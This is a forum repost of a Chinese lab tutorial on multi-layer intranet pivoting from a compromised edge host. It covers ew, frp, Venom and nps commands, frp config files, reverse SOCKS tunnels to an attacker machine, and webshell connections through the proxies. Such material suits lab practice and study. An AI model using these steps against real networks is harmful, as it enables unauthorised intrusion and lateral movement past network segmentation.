安全矩阵

 找回密码
 立即注册
搜索
查看: 2567|回复: 0

实战|内网穿透之多层代理

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2021-10-7 11:52:38 | 显示全部楼层 |阅读模式
文章来源:​netw0rker 天億网络安全 2021-10-06

实战|内网穿透之多层代理

内容来源:先知社区

一、前言前几天去参加省赛的时候做内网穿透这一块明显感觉不怎么熟练,平时看大部分文章都是讲的两层网络的穿透,在真实场景下,有时候是三层甚至四层,自己实践之后发现还是和两层网络差距比较大的。由于是三层网络,写起来图会比较多,选取了四款常用穿透软件:ew,nps,frp,venom进行试验。

二、环境搭建拓扑图如下:

192.168.1.0/24模拟公网环境。
每台PC上都有一个web服务,内网主机除边缘win7外全部不出网,内网同网段之间的主机可以相互访问,不同网段相互隔离。
假设现在已经拿到边缘主机win7。(文中所指的win2012全部指左边这台)
由于环境中途崩了一次,从Venom开始ip有所变化,请见谅。

三、ew将ew上传至边缘机器。

在攻击机上执行:

  1. ew_for_Win.exe -s rcsocks -l 1080 -e 1234
复制代码

在边缘机器上执行:
  1. ew_for_Win.exe -s rssocks -d 192.168.1.104 -e 1234
复制代码
​这时候回来看攻击机,就已经成功了。

给浏览器设置一个代理,即可访问内网web。


经过一系列操作,我们又写入了一个shell。
同样这里需要开启蚁剑代理。


查看192.168.183.134这台主机是否出网,结果是不出网。

由于需要执行命令,我们得保证一级代理不能掉。所以这里我用了两个webshell工具,蚁剑和冰蝎。
蚁剑关闭代理,冰蝎开启sock5代理1080端口,冰蝎去连192.168.183.134这台不出网主机,蚁剑连接边缘机器192.168.1.110。
攻击机另起一个cmd,执行命令:
  1. ew_for_Win.exe -s lcx_listen -l 3080 -e 8888
复制代码
注意这里的端口不要和刚刚1080端口重合。
不出网主机win2012执行命令:
  1. ew_for_Win.exe -s ssocksd -l 9999
复制代码


这里没回显是正常的,但要保证一级代理不能掉。
再通过边缘机器打通192.168.1.110:8888 和 192.168.183.134:9999 之间的通讯隧道
  1. ew_for_Win.exe -s lcx_slave -d 192.168.1.104 -e 8888 -f 192.168.183.134 -g 9999
复制代码




这里同样的浏览器再挂个代理就可以了。


再拿webshell工具去连的话就另外再挂个3080端口代理就行了。

四、frp攻击机配置frps.ini文件

  1. [common]
  2. bind_port = 7000
复制代码
边缘机器配置frpc.ini
  1. [common]
  2. server_addr = 192.168.1.104
  3. server_port = 7000

  4. [http_proxy]
  5. type = tcp
  6. plugin=socks5
  7. remote_port = 6000
复制代码
攻击机执行命令
  1. frps.exe -c frps.ini
复制代码


边缘机器执行命令
  1. frpc.exe ‐c frpc.ini
复制代码



浏览器挂代理访问6000端口即可

拿到win2012的webshell权限后,准备进一步代理到192.168.57.0/24。一级代理不要掉。
攻击机配置frps.ini

  1. [common]
  2. bind_addr = 0.0.0.0
  3. bind_port = 7788
复制代码


边缘主机win7配置frps.ini
  1. [common]
  2. bind_addr = 192.168.183.131  
  3. bind_port = 7799
复制代码


同时配置win7主机上frpc.ini
  1. [common]
  2. server_addr = 192.168.1.104
  3. server_port = 7788  
  4. [http_proxy]
  5. type = tcp
  6. local_ip = 192.168.183.131  
  7. local_port = 1080   
  8. remote_port = 1080
复制代码



同样上传frp到win2012上,配置frpc.ini
  1. [common]
  2. server_addr = 192.168.183.131
  3. server_port = 7799        
  4. [http_proxy]
  5. type = tcp
  6. remote_port = 1080
  7. plugin = socks5
复制代码


执行frpc.exe ‐c frpc.ini,这里都是没什么回显。
设置代理1080


同样的写入shell之后webshell工具连接挂个代理就行了。


五、Venom此时ip发生变化:

           
  •         win7:192.168.183.138       192.168.1.109

           
  •         win2012:192.168.183.139       192.168.57.136

           
  •         核心机器win2012:192.168.57.137

攻击机上执行
  1. admin.exe -lport 9999
复制代码


边缘主机win7上执行
  1. agent.exe -rhost 192.168.1.104 -rport 9999
复制代码


回到攻击机器上就已经有了连接。

然后执行命令,将流量代理到7777端口
  1. goto 1
  2. socks 7777
复制代码




这时win2012就可以访问了
通过冰蝎走代理,将agent.exe上传至win2012。

在攻击机上让节点一进行监听,也就是在边缘机器win7上等待win2012连接。

在win2012上执行命令连接win7:
  1. agent.exe -rhost 192.168.183.138 -rport 9998
复制代码


这时在攻击机上使用show命令,查看节点,就可以发现已经有两个节点,选择节点2,并socks代理到本机9998端口。




六、Nps
这个工具我还是第一次用,由于有图形化界面,感觉这个工具还比较好用,不像frp要去目标机器配置文件,也比ew更加稳定。
首先去官网下载nps和npc:https://github.com/ehang-io/nps/releases
这里我都是windows64位,下载这两个就可以了。

直接执行nps.exe(要注意端口,被占用了就修改conf文件)

然后访问127.0.0.1:8080,如果是vps上起的话就访问vps:8080,默认密码admin/123。登录后点击右侧客户端,然后新增:

这里可填可不填,留空的话会自动生成密匙,等会拿这个密匙来让边缘主机win7连接攻击机器。
这里ID和密匙等会要用。

点击右侧socks代理,新增。ID为上面的id,端口填一个没有被占用的端口就好了,保存后server就配置完毕了。

将npc上传至边缘机器win7,并执行命令:
  1. npc.exe -server=ip:port -vkey=服务端生成的key
复制代码

这里的port默认是8024,如果修改过nps.conf中的端口就是修改过后的端口,key就是上面服务端的密钥。

执行后可以看到连接已经变成在线,这时候就已经代理好了。

浏览器挂个代理或者用Proxifier都是可以的,前面因为一直都是用的浏览器直接走代理这里还是用下Proxifier。
新增代理规则如下


做二层代理时候想了很久,翻遍全网都没有一个案例,我的想法是kali上去开一个nps服务端,然后msf添加路由,这是一种方式。

还有就是3389远程去连边缘主机win7,但是这样操作太敏感了。官方文档有如下这样的说明,但是没找到参数怎么用,这里就用3389勉强试一下,希望有懂的表哥指点。初次体验nps感觉不是很好,如果是只做一层代理还是可以。


经过一系列代理操作还是在win7边缘主机访问到win2012核心机器

七、总结个人觉得Venom是对新手最友好的,并且多层代理还比较方便,两层三层都比较容易上手,然后就是nps,有图形化界面还是不错的。frp比较稳定,但是要配置ini文件比较麻烦。ew稳定性又差一点。总的来说就是各有所长吧,在真实环境中要根据不同的情况使用不同的方案。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:29 , Processed in 0.017577 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表